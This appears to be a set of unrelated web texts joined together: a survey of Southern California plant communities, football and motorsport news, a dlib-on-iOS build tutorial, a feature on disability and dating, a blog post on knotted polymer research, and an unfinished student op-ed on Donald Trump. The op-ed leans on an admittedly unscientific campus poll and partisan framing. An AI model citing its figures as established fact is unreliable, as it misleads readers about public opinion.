is the Santa Rosa Plateau adjacent to the Santa Ana Mountains. Beyond the scarcity of grasslands in general, there is the further consideration that such grasslands as do exist have changed greatly in character, passing from native, perennial grasses to introduced, annual species. In Southern California, valley grassland occupies deep, sometimes rocky but usually well-drained soils in hot, interior valleys generally below 4000', often on south-facing slopes but more typically on flatter land, adjacent to and often mixed in with chaparral, coastal sage scrub and southern oak or riparian woodland. Annual rainfall is customarily between 6" and 20", summers are hot and dry and frost is not uncommon in the winter. Although sometimes dotted with oak species such as Quercus lobata (valley oak) and Q. integrifolia (coast live oak), grasslands unsurprisingly are characterized primarily by shrinking expanses of native genera of grasses such as Stipa (needle-grass), Poa (bunchgrass) or Aristida (three-awn), and expanding areas of introduced genera such as Bromus (brome grass), Avena (wild oats) Festuca (fescue), Lolium (ryegrass) and Phalaris (harding grass). Springtime also can bring masses of wildflowers, many native, some introduced, such as Ranunculus (buttercup), Delphinium (larkspur), Calochortus (mariposa lily), Hemizonia (tarweed), Sisyrinchium (blue-eyed grass), Dichelostemma (blue dicks), Castilleja (both paintbrush and owl's clover), Nemophila (both baby blue eyes and meadow nemophila), Lupinus (lupines), Sonchus (sow-thistle), Centaurea (star-thistle) and Erodium (filaree). 8. Riparian woodland is a fairly restricted community because it is dependent on the presence of or proximity to non-seasonal water courses, but nevertheless since water is not abundant in Southern California, this community can be a striking one. Surface water is not always a requirement and may be substituted for by underground water in some places. Where non-seasonal streams flow out of the mountains and onto flatter grasslands, the riparian woodland community may be a relatively broad one, but in the higher elevations where water flows down a narrow passageway often confined by steep hillsides, this community may be only a few meters in width. Riparian woodland may also occupy areas such as the margins of man-made lakes and reservoirs. Typical species of this community include Platanus racemosa (western sycamore), Populus fremontii and trichocarpa (fremont and black cottonwood), Alnus rhombifolia (white alder), Juglans californica (black walnut), Acer macrophyllum (big-leaf maple), Umbellularia californica (California bay laurel), Salix spp. (willows), Baccharis salicifolia (mule fat), and smaller plants such as Epipactis gigantea (stream orchid), Toxicodendron diversilobum (poison oak), Rubus ursinus (California blackberry), Equisetum spp. (horsetails), Lilium humboldtii (humboldt lily), and Mimulus cardinalis and guttatus (scarlet and creek monkeyflower). 9. Montane coniferous forest is here treated as a combination of yellow pine forest and subalpine forest, the former occupying mountain slopes from between 5000' and 8000', and the latter above that to around 9000'-9500'. Because of the elevation, the average annual precipitation is between 35" and 50", some of which falls in the form of winter snow. This forest community is one that inhabits ridgetops and cismontane slopes primarily, which are considerably moister than the slopes on the desert side of the mountains. Typical species encountered in the lower belt of montane forest in Southern California are Pinus coulteri (coulter pine), P. ponderosa (yellow or ponderosa pine), P. jeffreyi (jeffrey pine), P. lambertiana (sugar pine), Calocedrus decurrens (incense cedar), Abies concolor (white fir), Pseudotsuga macrocarpa (big-cone spruce), Juniperus occidentalis (western juniper), Quercus kelloggii and chrysolepis (black oak and canyon live oak), Cercocarpus ledifolius (curlleaf mountain mahogany), Arctostaphylos spp. (manzanitas), Ceanothus integerrimus and cordulatus (deerbrush and snowbush), Chrysolepis sempervirens (bush chinquapin), Rubus parviflorus (thimbleberry), Ribes nevadense and roezlii (Sierra current and Sierra gooseberry), in addition to many species of Lupinus, Eriogonum, Penstemon and Phacelia. Above the yellow pine belt and growing to 9500' are Pinus contorta (lodgepole pine) and P. flexilis (limber pine), and many species of small subalpine wildflowers. One of longest living plant species in North America, Pinus longaeva (bristlecone pine), cannot be truly considered a Southern California species, but it can be found at elevations of from 10,000' to 11,000' in the White and Inyo Mountains to the east of the Sierra Nevadas, and in the Panamint Mountains near the edge of Death Valley. 10. Pinyon-juniper woodland clothes the desert side of the mountains, generally the eastern slopes of north-south trending ranges and the northern slopes of east-west trending ranges, at elevations from about 5000' to 8000'-9000', extending from the Tehachapi Mountains southward and including the higher mountains of the Mojave Desert. This vegetative community is typically sandwiched between either sagebrush scrub or joshua tree woodland and yellow pine forest. Average annual precipitation is between 12" and 20", and some of that is in the form of snow, so obviously this is a much drier environment. As the name suggests, the dominant trees are Pinus monophylla (single-leaf pinyon pine) and Juniperus californica and osteosperma (California and Utah juniper), along with Quercus turbinella (desert scrub oak), Q. john-tuckeri (Tucker's oak), Q. cornelius-mulleri (Muller's oak), Yucca shidigera and baccata (Mojave and banana yucca), Purshia mexicana and tridentata (cliff rose and bitterbrush), Fallugia paradoxa (apache plume), Cercocarpus ledifolius (curlleaf mountain mahogany), and most of the shrubs that make up sagebrush scrub which will be discussed next. 11. Sagebrush scrub is often adjacent to pinyon-juniper woodland and exists on generally deep, permeable soils on the desert side of the mountains along the western edge of the Mojave Desert from the Sierra Nevadas south to the San Bernardinos, and also the mountains bordering the Colorado Desert in San Diego County, in an elevational belt of about 4000' to 7000'-9000'. Summers are very hot and winters can be quite cold, so of the 8"-15" of annual precipitation, a good proportion falls as snow. Generally speaking, this community can be characterized as one of fairly low, silvery-gray shrubs of less than 6' in height, and it takes its name from three species of sagebrush that inhabit it: Artemisia cana (silver sagebrush), A. nova (black sagebrush), and A. tridentata (great basin sagebrush). Other species common in this community are Chrysothamnus nauseosus and viscidiflorus (rubber and yellow rabbitbrush), Coleogyne ramosissima (blackbrush), Atriplex canescens and confertifolia (fourwing and shadscale saltbush), Tetradymia spp. (horsebrush) and Purshia tridentata (bitterbrush or antelope bush). 12. Shadscale scrub is another desert scrub community, and whereas herbaceous and woodland communities in California are best developed in the northern part of the state, so-called scrub communities are best developed in Southern California. Scrub is a term that refers to the fact that most of the plants in the community are fairly low (< 6') shrubs. This community occupies areas near or adjacent to joshua tree woodland, but on quite different types of soils. Shadscale scrub typically grows on very heavy, often alkaline or saline soils which are underlain by an impermeable hardpan strata, and is found on mesas and flatlands from about 3000' to 6000' in various parts of transmontane desert regions such as the Owens Valley and the Mojave Desert, where the summers are very hot and dry and the annual rainfall averages only 6"-10". It is rare in the Colorado Desert where its niche is usually taken up by creosote bush scrub. The shrubs in this community are generally small, with small leaves and small flowers, grayish, intricately-branched and often spiny. This community takes its name from its dominant shrub, Atriplex confertifolia (shadscale), and includes such other species as Grayia spinosa (hopsage), Kraschenennikovia lanata (winter fat), Artemisia spinescens (spiny sagebrush or budsage), Gutierrezia spp. (matchweeds), Hymenoclea salsola (cheeseweed), Coleogyne ramosissima (blackbrush), Menodora spinescens (spiny desert olive or greenfire), and various species of Ephedra (mormon tea). 13. Creosote bush scrub is one of the most widely distributed desert communities, and anyone who drives through any areas of either the Mojave or Colorado Deserts is bound to pass through seemingly endless miles of almost symmetrically-spaced creosote bushes. The majority of the desert floor and the lower slopes of foothills to about 3500' is covered by this scrub community, the soils being well-drained, and the climate consisting of very high summer temperatures and winter temperatures rarely approaching freezing, with annual average rainfall being about 0"-2" in a dry year to about 8" in a wet one. One of the things that distinguishes both this community and joshua tree woodland is the fact that some of the annual rainfall arrives in the form of summer showers, so that there are many shrubs and annual species that bloom either in the summer or in the fall. And although creosote bush scrub is dominated by woody shrubs, both herbaceous annuals and perennials are well represented, and in a rainy season such as we had in 1997-1998, the normally barren ground is literally covered with bloom. As the name indicates, this community is dominated by Larrea tridentata (creosote bush), but also heavily populated by Ambrosia dumosa (burroweed), Fouquieria splendens (ocotillo), Psorothamnus arborescens and schottii (Mojave and Schott's indigo bush), Lycium brevipes and andersonii (desert thorn and Anderson's desert thorn), Hymenoclea salsola (cheesebush), Encelia farinosa and frutescens (brittlebush and rayless encelia), Sphaeralcea ambigua (apricot or desert mallow), and Opuntia basilaris, bigelovii and echinocarpa (beavertail, teddybear and silver or golden cholla). 14. Desert riparian woodland is a community that exists along permanent or seasonal watercourses through several other communities in both deserts, and is not always considered as a separate community, but I feel that enough of the plants that grow there are more or less confined to that area to justify it as such. During a dry year, very little water may pass along these washes, but in a wet year they are inundated, and it is during those periods that the plants can germinate and disperse. Many of the species that grow there produce seeds that require scarification, that is, the grinding action of water and stony soil, to break open their outer casings and begin the germination process. Often such plants appear to go into a dormant state after germination and the production of a few leaves, but what is actually happening is that the plant is using its energy to send down deep roots to be able to take advantage later of sources of water when surface water has disappeared. Typical plants that inhabit this community are Prosopsis glandulosa (honey mesquite), Psorothamnus spinosus (smoke tree), Cercidium floridum (blue palo verde), Olneya tesota (ironwood), Pluchea sericea (arrowweed), Chilopsis linearis (desert-willow), Acacia greggii (catclaw acacia), Justicia californica (chuparosa), and Hyptis emoryi (desert lavender). Some of these species can be found in areas other than riparian ones, but along desert washes this is a fairly distinct community. 15. Joshua tree woodland is another community that is marked by a total domination by a single species. The joshua tree, Yucca brevifolia, is actually a member of the lily family, and it is joined by another lily, Yucca shidigera (mojave yucca), in covering an area that extends right across the Mojave Desert from the Owens Valley to the Little San Bernadino Mountains at elevations of about 2500' to 6000' on generally well-drained slopes and flatlands. In addition to the two lilies mentioned above, neither of which would be recognized by the average person as a lily, other typical species that grow here are Juniperus californica (California juniper), Salazaria mexicana (paperbag bush), Lycium andersonii and cooperi (Anderson's desert thorn and boxthorn), Salvia spp. (sages), Eriogonum fasciculatum and inflatum (wild buckwheat and desert trumpet), Ephedra spp. (mormon tea), Opuntia spp. (chollas), and Tetradymia axillaris, glabrata and stenolepis (cottonthorn, little horsebrush and mojave horsebrush). As was true of creosote bush scrub, joshua tree woodland can produce an extraordinary wildflower display in years when the rainfall has been abundant, and anyone who has travelled through Joshua Tree National Park at such a time is fortunate indeed. 16. Alkali sink is a rather unattractive community dominated by members of the family Chenopodiaceae, a family many of whose members are exceedingly salt tolerant. The environment where this community prospers is one of generally poorly drained alkaline soils and dry Mojave Desert lake beds on the desert floor, especially in the Panamint Valley and Death Valley regions, low places which are only resupplied by water by the occasional heavy winter rainfall and where standing water evaporates rather quickly. Representative plants of this community are Atriplex polycarpa (allscale), A. spinifera (spinescale), A. lentiformis (big saltbush), A. parryi (Parry's saltbush), Suaeda moquinii (bush seepweed), Allenrolfea occidentalis (iodine bush), Salicornia spp. (pickleweeds), and Sarcobatus vermiculatus (greasewood). Just as is true of many plants in the saltwater marsh community, a normal characteristic of alkali sink plants is fleshy leaves and stems, and it is not surprising that a couple of these species occupy both habitats.
-Rocky Bernard was cut last Friday when he and the Giants couldn't work out a deal to restructure his contract. Now they've apparently worked out a deal.  The 6-3, 308-pound defensive tackle re-signed with his old team today and -- if the new CBA is ever ratified -- could join his teammates at practice tonight. The 32-year-old definitely helps with the Giants' depth at that position and could be pencilled in for Barry Cofield's old starting job.  The Giants appear to be very pleased with the progress of second-year pro Linval Joseph, though, and they're excited by the potential of rookie Marvin Austin. They both seem to have more upside than Bernard, who has had three sacks in two years with the Giants. His experience, though, makes him a valuable piece, especially after the Giants lost Cofield to the Redskins.  DT Martin Parker, an undrafted rookie out of Richmond, was waived/injured.
-Introduction  dlib is a C++ machine learning library that is used to create powerful real world application. It is used in many computer vision and machine learning applications, it can be used to detect facial landmarks such as eyes, nose, lips etc which is how snapchat lenses work. Since its a C++ library it might seem a little hard to get it working with you iOS project. This post aims to explain how to add dlib to an existing iOS project. The process involves a bit of work so its important that one follows all the steps in order.  Building dlib  Assuming we already have an iOS project setup we will begin by downloading and building dlib from the dlib website. Start by downloading dlib from here and save it in a directory you can work from. We will need to have X11, and CMake installed on our system. If you do not have cmake you can istall it via homebrew.  brew install cmake  Navigate to the examples folder inside the dlib folder via your terminal.  Create a new folder called ‘build’  mkdir build && cd build  Run the following commands  cmake -G Xcode ..  cmake --build . --config Release  An Xcode project will be created under build/dlib_build  Now that we have dlib built and setup lets start adding it to our Xcode project.  Adding dlib to your xcode project  In the root of your Xcode project create a folder called ‘lib’. Copy the ‘libdlib.a’ file from the dlib xcode project and paste it into the ‘lib’ folder. Copy the ‘dlib’ folder from the ‘dlib-19.2’ folder and paste it into the ‘lib’ folder.  Drag the libdlib.a file from the ‘lib’ folder and drop it into ur Xcode project. Once that is done it should show up in your linked libraries and frameworks section of ur Xcode project. This is all the files thats required to add dlib to your Xcode project but if you try to compile, it will not work because we need to set up some compile time flags and add library search paths for xcode to be able to compile the dlib library along with your app.  Configuration  In your Xcode project open ‘Build Settings’ tab and add the following under ‘Library Search Paths’ and ‘Header Search Paths’  $ ( PROJECT_DIR ) /lib  This will let Xcode know where the dlib files are.  Next we need to add some preprocessor macros to help Xcode xompile the dlib files properly.  DLIB_NO_GUI_SUPPORT  DLIB_JPEG_SUPPORT  NDEBUG  DLIB_USE_BLAS  DLIB_USE_LAPACK  That is all you need to do to add dlib to your project. In some cases you might get ‘BITCODE Error’ in that case just set enable Bitcode to ‘NO’ in the Build Settings.  Conclusion  This post assumes that the reader is using XCode 8+ and Swift 3+ results may vary for older versions of xcode. To use dlib in your swift projects you would need to write a wrapper class. A great example is this github project. It uses dlibs facial feature detection. The author has created a ObjectiveC++ wrapper that he is then able to use with swift. I’ll probably do another post later on how to go about writing a wrapper class.
-Image caption The participants in Channel 4's The Undateables  The world of disability and dating is being examined in new series The Undateables. But what are some of the dating complexities that disabled people face, asks Damon Rose.  It goes without saying that you can't lump all disabled people together when discussing this most personal of all subjects.  The barriers to dating, and having a successful relationship, are different depending on your disability and circumstances.  Adrian Higginbotham, 37, is blind and explains that for him, the difficulties start with making first contact, the starting point for any relationship.  "You can't do that casual walking into a room and making eye contact thing. You can't smile at someone you have seen twice before walking down that same street."  Anybody blind doesn't know if the person sitting on the train next to them is the one they sat next to yesterday or if they're someone who works in their building three floors up.  Image caption Adrian Higginbotham, who is blind, says dating difficulties start with making first contact  They can't have nodding relationships that could go further.  "A blind person I know used to deliberately wear odd shoes to try and get people to comment on it to see if anyone would say to him: 'Do you realise you've got odd shoes on?,'" says Higginbotham. "He was trying to engineer a social interaction, though I hope he was being slightly tongue-in-cheek."  When thinking about the basic blocks of relationship building, little can be more basic than choosing who you spend your time with. But not everyone has that choice.  Channel 4's The Undateables features many people with learning difficulties and introduces us to a dating agency, Stars in the Sky, which helps put people in touch with each other.  Lydia Jones is one of their chaperones - she makes sure that clients get to the date venue safely and that they meet the right person, but she also helps tackle lulls in conversations.  Love at no sight Though love at first sight may happen for people blessed with eyes, love after first discussion is the closest you'll get to it if you can't see. I've often thought that "sighties" might be just a little bit disabled by having vision. I've seen friends chasing people for their looks yet getting hurt very badly because their beauty is only skin deep, their personality somewhat rotten. But good looks and attraction can be complex for blind people. And oh how I'd love to be able to sit here and tell you that blind people are without prejudice: not caring if you're a prince or whether you're plug ugly and that we don't care about such superficial matters. Sadly, that's just not true. Read the full Magazine article by Damon Rose from 2009  "Quite often, people with learning disabilities are forced into sharing relationships with people who they don't have a choice about being with," says Jones. "Their peers are the ones they meet at a day service or in supported living accommodation."  Stars in the Sky is a small charity which has organised more than 180 dates since starting in 2005. So far it has been the catalyst for one marriage, one same-sex ceremony, three engagements and about 15 longer-term relationships.  Physical access gets top billing in terms of importance for wheelchair user Shannon Murray, a model who was the face of a recent publicity campaign for Debenhams. She doesn't intend to get caught out by a date who might see her struggling up steps and be put off before the date even starts.  "I keep a shortlist of restaurants and bars on my Blackberry which don't just have accessible loos but also have completely flat entrances. On a first date I am worried that guys come to the table believing I'm needy or not independent. I need to be completely in control."  She feels that some of her relationships may have failed because of "over-independence" and her drive to never show vulnerability.  "I've gone too far the other way; it's hard to get that balance right," she says.  Image caption Shannon Murray says physical access is paramount on dates  Disability campaigners believe changes to benefits under the Welfare Reform Act will make things harder. In a recent entry for the Liberal Conspiracy blog, campaigner Lisa Egan suggests the changes make it harder for disabled people to have relationships.  Employment Support Allowance (ESA) will now be taken away from someone if they have a partner who earns more than £7,500, she explains.  "It's going to mean that someone like me who's not currently in a relationship will never be able to live with a partner, because after one year of being together I would lose my income. I am one of the most determinedly independent characters on the planet. I could never put myself into a situation where my partner was expected to 'keep' me."  The Undateables programme has been vigorously discussed on social media over the last few weeks but mostly because the title is a provocative one. No-one likes to think that they're "undateable" but it is accepted that, for various reasons, being disabled can decrease the chances of romance.  Disability talk on Twitter Mel says: "Don't go out with her, you'll end up being her carer" Baroness Tanni Grey-Thompson says: "I've never been out with someone in a chair but if it doesn't work out with the other girl, I'll take you out" Helen says: "I pretend my epilepsy meds are vitamins. Nobody wants a one-night stand with an epileptic"  Though many disabled people are happily married or dating with no difficulties, others do face a complex range of reactions. Those with a disability date a variety of people - both disabled and non-disabled. But occasionally there can be strange attitudes from the latter.  Lisa Jenkins, 38, had been set up on a date with a friend of a friend who didn't know she had cerebral palsy.  "We entered a bar and he walked straight down the steps in front of us. I tried to walk down but I just couldn't, there was no rail to hold onto."  Jenkins's date asked if she was all right, at which point she had to tell him about her cerebral palsy.  When I was a teenager, guys would offer me a drink and ask me straight away: 'Can you still have sex?' Shannon Murray  "I could see the change in his face; he was immediately less attracted to me. It was quite interesting really.  "I've had guys who fancied me but thought there was something wrong with fancying me. You're supposed to fancy the birds who are 5ft 9in and blonde, after all."  Then there is just downright weirdness.  One potential date told Jenkins: "I've always fancied some kinky sex." The strangeness of his attitude was clear. "He considered me slightly freaky," Jenkins explains.  A 2008 poll for the Observer found that 70% of those surveyed would not have sex with a disabled person.  Murray, who is in her 30s, agrees that sex is often at the heart of what people are thinking and, after 20 years of being disabled, still seems taken aback by the comments she receives from would-be dates.  Image caption Lisa Jenkins, who has cerebral palsy, has encountered unusual attitudes  "When I was a teenager, guys would offer me a drink and ask me straight away: "Can you still have sex?'"  When internet dating became popular, many disabled people took to it thinking they could hide their disability. But it was soon appreciated that if you want to actually date someone, you can't hide behind your laptop forever.  A new complexity developed - should you be upfront and tell people you are disabled, or let them get to know your real personality first and reveal the disability later?  Murray has done both. "When I first started road-testing online dating, I couldn't decide whether to declare my disability or not. In the end, because I was nervous, I didn't say, and any photos were just waist up."  From Ouch! with love Ouch! is the BBC's disability affairs blog and podcast. Read highlights from the entry on dating and disability.  Eschewing specialist disabled sites, Murray used only mainstream dating services.  "Guys would get in touch and we'd email back and forth, and I'd wait until there was a definite chemistry and then say look I've got to tell you something. Only one guy ever backed out at that stage, saying that was slightly more baggage than he could deal with ... which was honest at least, if a little narrow minded."  But Murray wanted to try another more direct approach.  "I did it again about a year later and this time I made sure you could see the chair in the photo. In my profile I put something light-hearted like - if their interests were hiking up Everest I wouldn't be able to join them but I'd wait around at base camp and try to keep the tent warm.  "Once I put my disability 'out there' I expected less interest, but I got more response than when hiding the chair. I went into the top five most liked women of the week."  The Undateables starts on Channel 4 on Tuesday 3 April at 21:00 BST.  Here is a selection of readers' stories on dating and disability.
-[Total: 12 Average: 4.1/5]  A joint computational-experimental paper that I worked on was just published in MacroLetters, a journal that covers all topics relating to macromolecules (polymers and the like). In it, we looked at simulations of knotted polymer chains being stretched by an external flow field, and studied how the knot affected the response of the polymer to the flow, and what happened to the knot if the flow wasn’t strong enough to keep the polymer stretched. Then, we compared it to data from my experiments looking at how knotted DNA molecules behave in similar fields, particularly looking at how the knots untie. While this Insight is specifically about this paper, I’ve written about my work in a few other articles, including a piece explaining the practical application of these DNA experiments and a blog post on some of the more mathematical aspects, and one on my last pre-knot DNA paper.  We work in a lab that studies soft materials, and are interested in the dynamics of polymers in a type of flow field called extensional (or elongational) flow, which is often use to characterize the dynamics of complex fluids. Planar extensional flow has fluid coming from two opposite directions, and flowing out in the two perpendicular directions. Test particles in the flow come in at high velocity, and the velocity in the initial direction decreases as the velocity in the perpendicular direction increases*. In extensional flow, the velocity of the flow is proportional to position, and the proportionality constant is called the strain rate, which is the reciprocal of the time it takes for a test particle to increase its position by a factor of e.  If instead of a test particle you had a deformable object, it would get compressed in one direction while stretching in the perpendicular direction. A polymer is sort of in between a point particle and a squishy bulk object: when a polymer is at the middle of an extensional flow (the middle is called the stagnation point), it can have one end pulled one way and the other end pulled the other way. This makes it stretch, and it stretches until the drag forces from the flow are balanced by the internal entropic elasticity of the molecule. The molecule will stretch more if the flow is stronger, but this is a nonlinear effect: if the flow is weak enough, the molecule won’t stretch, it’ll just relax to a random coil. This is called the coil-stretch transition, and there is a critical strain rate at which it occurs.  I have been doing experiments stretching knotted DNA molecules in extensional fields**. I was trying to see how the knots behave at different levels of tension, so I’d start by stretching them a lot then lowering the field systematically. Eventually, I get to the point where the molecule stops stretching. Something I noticed, however, was that if the knots were big enough, the molecule would collapse sooner, at a higher tension than expected for a molecule without a knot. This suggested that the knot was modifying the coil-stretch transition.  To investigate this, my colleague Vivek Narsimhan, who is now a professor at Purdue, ran a series of computer simulations of knotted polymer chains. The simulations involve having a chain of connected beads that have short-range repulsive interactions between the beads that prevent them from passing through each other. Each bead is subject to Newton’s laws of motion, a drag force that depends on its velocity, as well as a random force that mimics thermal fluctuations (this is known as Brownian Dynamics, which is a subset of Langevin Dynamics, which is a subset of Molecular Dynamics). The initial conditions of the simulation are an extended chain with a knot in it, and we use different kinds of knots by copying their lattice coordinates from this site. Vivek simulated nine different types of knots at varying strengths of flow, starting with the chains highly stretched and letting them evolve to their steady-state configuration.  For the first part of the simulation, he simply measured how much the molecule was stretching under different conditions, varying the flow strength from very weak (below the stretch-coil transition) to very strong (the chain is stretched to almost 100% of its full length). Compared to a molecule with no knot, a knotted polymer will stretch less at a given tension, and this decreases as the knot gets bigger. This is not particularly surprising, if part of the chain is in a knot, that part can’t get stretched. However, the physics are a bit more complicated than just an effectively shorter chain not stretching as much: decreasing the length also decreases the internal relaxation time of the molecule, meaning a stronger flow rate is required to stretch it to the same degree. With corrections for the shorter maximum length and the faster internal relaxation, all the data collapsed onto one nice curve.  What was more interesting was what happened just above the boundaries of the coil stretch transition. Whereas an unknotted chain would simply evolve to its steady-state level of stretch, in flow of the same strength a knotted chain collapses into a coil: it is below the coil-stretch transition. However, eventually it spontaneously stretches again, this time without a knot. In addition to predicting something interesting that happens to single polymers, it may also have implications for the flow of bulk polymer solutions, which may require higher-than-expected flow to prevent them from contracting. It was also something I had noticed in experiments, quite repeatably. When knots untie, the molecule temporarily contracts, then restretches after the untying is done. It doesn’t always collapse, but it almost always contracts.  Another thing I had seen in experiments was that when knots untie, it doesn’t happen all at once. If a molecule starts with a big knot, it can get to the end, do its little contract-and-restretch dance, and still have a smaller knot remaining. This can repeat, and the second knot can untie, or leave an even smaller knot. The most stages I have seen this happen over is five. I compiled statistics, and found that the knots untie in multiple stages about 60% of the time. The discovery of multi-stage untying caught me by surprise, I really wasn’t expecting to see that and didn’t even think it was possible before I saw it happen.  We looked for a point of comparison with the biggest knot used in simulations, the 10 crossing twist knot, which is what you get when you take a loop, twist it four times, and then open the loop at one end and pass one strand through the other loop. If this knot is on an open string, it is asymmetric and can untie two ways. If the end of the string comes out of the loop, the whole thing unties, but if the other end of the string comes through the knot, it becomes an 8-crossing twist knot. That can do the same, untying or becoming a six-crossing knot, etc.  Determining what kind of knot you have is non-trivial. There are number of ways to do it, but the one that is used most often in polymer simulations involves calculating something called an Alexander Polynomial. This involves projecting the knot onto a plane and keeping track of which strands cross over others and which strands cross under. Then you can define a matrix based on a system of equations encapsulating information about the over/under-ness of the crossings, and then calculate its determinant, which gives you a polynomial (one with negative powers, usually). This was a vague description, you can read more here, e.g. on page 21. If you calculate the polynomial at some value, you get a number that can be compared to known values from tabulated knots. There are some non-uniqueness issues with this (there’s an 8-crossing knot with the same Alexander polynomial as an unknot), but all the possibilities for a 10-crossing twist knot untying are unique, so my calculating it throughout the simulation, we can track how the type of knot evolves from big to small to unknotted. (I wish I could do this during experiments too).  The simulations also showed that knots were likely to untie in different numbers of stages. Compared to experiments, the single-stage untying events were less common (which is a somewhat unexpected, because I feel like if either end is likely to come out of the knot first, it should unravel completely 50% of the time). The agreement between theory and experiment here was actually pretty bad, but this wasn’t too much of an issue for a few reasons. One is that we can’t actually see the true number of unfolding steps, because the untying process is hidden below the resolution limit of the microscope and camera (both spatial and temporal). It is likely much larger than I can observe. The other is that the simulations are not an exact replica of the experimental conditions; the DNA molecules I use are significantly longer than the chains being simulated, the knots are more complicated, and there are other interactions that the simulations don’t take into account. I was happy with computational vindication that knots can untie in stages, which like I mentioned caught me by surprise.  Overall, this paper was a nice convergence of simulation and experiment. On the simulation side, Vivek started looking at the general properties of knotted chains in extensional flow and then focused on the case of untying near the stretch-coil transition. On the experiment side, I noticed that the DNA molecules were shrinking as the knots untied, and that they were doing these cool multi-stage unties. The simulations qualitatively replicated what I was seeing experimentally. These results may have some implications for the flow of bulk polymer solutions, but really though I just thought the phenomena we are investigating are really cool.  * I wrote this description that may be illustrative, then decided to remove it from the main text: Imagine a square basin full of honey. In the middle of the East and West walls of the basin, there were two holes that the honey was draining out of. However, in the middle of the North and South walls, there were two faucets that were flowing honey in at the same rate. A particle entrained in the honey coming from the North faucet would flow in with some initial velocity in the South direction, and that velocity would decrease as it approached the East-West axis, meanwhile gaining velocity in the East or West direction, until it flows out at high velocity.  **I use an electric field that mimics extensional flow, not actual extensional flow.
-The most successful team in Prototype Challenge history is set for a shakeup, with CORE autosport planning a switch to the GT Daytona class, likely with Porsche, a change that could happen before the end of this season.  Sportscar365 has learned that the Jon Bennett-owned team, which operates the factory Porsche North America program in GT Le Mans, is preparing, in addition, to enter a Porsche 911 GT3 R in the IMSA WeatherTech SportsCar Championship for 2017.  While it’s understood that details are still being finalized, the five-time and defending PC champions could curtail its prototype program this year and run the final two races in GTD with Bennett and long-time co-driver Colin Braun.  Bennett and Braun currently sit fourth in the PC championship, 48 points behind leaders Starworks Motorsport, and with no realistic chance of securing the team’s sixth consecutive title.  A move to the Prototype class with a Gibson-engined Oreca 07 for next year had been evaluated but is believed to not have been pursued any further following’s IMSA’s decision not to include a significant Pro-Am component to the class.  Instead, the Rock Hill, SC-based team is believed to have turned its focus to GTD, in what would be an extension of its relationship with the German manufacturer, but on a customer basis.  CORE’s Chief Operating Officer Morgan Brady told Sportscar365 they have have evaluated multiple options for 2017 but are not in a position to make any announcements at this time.  “We’re glad the series has provided clarity on the future of the PC class in a timely manner,” Brady told Sportscar365 during last weekend’s IMSA race at Virginia International Raceway.  “Over the past months we have been evaluating several options depending on the direction of IMSA. There is a clear path for CORE autosport going forward. You can expect an announcement from us before the end of the year.”  Prior to its current factory deal in GTLM, CORE campaigned a Porsche 911 RSR under its own banner in 2013, for Porsche works driver Patrick Long and Tom Kimber-Smith.  Braun made three end-of-season starts in the GTE-spec Porsche that year, with a best finish of second in class at VIR, while Bennett has previously made selected Porsche GT3 Cup Challenge USA by Yokohama starts.
-Coming soon to a democratic republic near you – the Presidential election of the United States of America. And this election season has delivered perhaps some of the most highly entertaining moments in the political history of the United States of America. If one examines the four remaining candidates for the election (sorry Kasich is mathematically eliminated unless some crazy shenanigans get pulled at the Republican National Convention), all of America is left asking: is this the best we could do?  The breakout star of this production is undoubtedly Donald Trump. However, taking the silver medal and making everyone “feel the Bern” has to be Bernie Sanders. The Senator of Vermont has taken our democratic capitalist society by storm by pushing his brand of democratic socialism. [Spoiler Alert: lots of Americans want the government to give them stuff.] Of course, last and indubitably least, Hillary Clinton. Hillary is a presidential candidate veteran in 2016. In fact, she is sort of like the Leonardo Dicaprio of the presidential candidates except instead of everyone wanting her to win, she has a large vocal group of detractors.  So in going against the tradition of the media in this country for the past year or so, I am going to do what no other media outlet has done: talk about Donald Trump. That is right Community College of Philadelphia, Trump is coming!  Of all the candidates, Trump, with a high unfavorable rating himself, is undoubtedly the most polarizing. You would be hard pressed to walk down a city block and at the mere mention of his name, generate a type of over-the-top reaction. He is either the savior or the anti-Christ. There is literally no in between. This is sound strategy because as we all know, extreme opinions always work out great.  The initial intent of this article was to mock Trump and his candidacy. In an unscientific poll conducted at the Community College of Philadelphia of a sample size of 103 people, roughly 87% were against Trump as president and had negative things to say. Given the media coverage, this ratio does not seem like it is all that shocking.  However, this is where it gets interesting.  Anyone can say they do not like a candidate or that a particular candidate is evil, bad, or any other negative connotation. It does not take much intellect to make such a comment. When further pressed, however, there seemed to be an implosion.  The most common refrain heard was: Trump is racist. At this point, this unsubstantiated claim is getting boring and tiresome. So I decided to dig a bit deeper. I asked specifically, what makes Trump a racist.  This is where the fun began.  The amount of misinformation and misquotes and made up quotes and either outright lies or ignorance was astonishing. When interviewing an African-American student who would only identify himself as Rob, Rob said that Trump was racist because he said, “he wanted to make America white again”.  Ladies and gentleman, as much as anyone wants to dislike Trump, this quote is without a doubt incorrect. Through hours of research of attempting to find this quote, there has been nothing of the sort said by Donald Trump. The only indication of something like this was a photoshopped meme circulating on social media where a Caucasian woman is wearing a t-shirt that says “Make America Great Again” that was changed to “Make America White Again”.  Additionally, when asking a Caucasian woman the simple question “Is there a specific policy you really do not like,” her reply was, “Multiple. First of all, Donald Trump, he does not have a lot of sound policies in the first place. Second, he is just angry.”  If you have trouble figuring out what that means or how that answers the question, fret not because you are not alone.  Another student, Diego, when asked what he did not like about Trump, replied, “Trump is unfair to all the Mexicans”. When I asked, what policies specifically, Diego elaborated with, “a whole lot. There are so many I cannot even name.” I asked him to name just one and he said “I am not sure.”  One student who wished to not be identified said she did not like Trump because he hates all Mexicans and thinks they are rapists. When I showed her the YouTube video of the speech she was referring to that refuted her claim and specified that Trump said “illegal immigrants coming in from Mexico” her retort was, “oh that’s still racist.  Furthermore, a female student named Kelly said that she did not like Trump because he was a sexist because Trump said women who have abortions should be punished. I asked Kelly where she heard this from and her reply was “a status off of Moby’s Facebook page”. In case you are unaware of this particular incident Trump actually answered a hypothetical question and said if abortion became outlawed, breaking this law should carry some kind of punishment – as happens when any law is violated whether it is a fine for a parking ticket or sent to prison for murder.  These inconsistencies continued when polling Community College of Philadelphia students.  As aforementioned, roughly 87% of those polled were against Trump and his policies – when his name was mentioned with them. When reading the policies stated directly off of Donald Trump’s webpage without identifying who they were said by and asking merely if they would vote for a candidate who said such policies, roughly 51% said they would.  It is abundantly clear that people are very uneducated on the topics and facts. In an era when social media is the news source for most people, truth and facts have become the sacrificial lamb when forming political opinions. What does this mean going forward with political ideas and political elections is uncertain except it does not seem people are generally interested in facts but more so in simply following the latest trend in social media commentary and criticism.  When it comes to voting, it is not just enough to go out and 